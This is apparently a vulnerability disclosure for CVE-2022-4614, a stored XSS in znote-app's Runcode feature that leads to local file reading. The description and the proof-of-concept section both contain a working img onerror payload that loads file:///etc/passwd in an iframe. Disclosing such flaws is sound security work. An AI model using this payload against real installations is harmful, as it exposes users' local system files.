Headline
CVE-2022-4614: XSS to LFI in Runcode Feature in znote-app
Cross-site Scripting (XSS) - Stored in GitHub repository alagrede/znote-app prior to 1.7.11.
Description
By default runcode santized document prefix but if html encode to document.write('<iframe src=file:///etc/passwd></iframe>') then we can inserted html encoded func to html tag event like onerror <img src=x onerror="document.write('<iframe src=file:///etc/passwd></iframe>')">
POC: https://drive.google.com/file/d/1_Jh133kMAqMf8AUWrrjbOqRQpHSKlVyO/view?usp=sharing https://drive.google.com/file/d/1ek5dg4PG3rADuUPPXUOlKE6qSVGmKdZB/view?usp=sharing
Proof of Concept
<img src=x onerror="document.write('<iframe src=file:///etc/passwd></iframe>')">
Github issue: https://github.com/alagrede/znote-app/issues/73
Impact
Read Local OS File With Stored XSS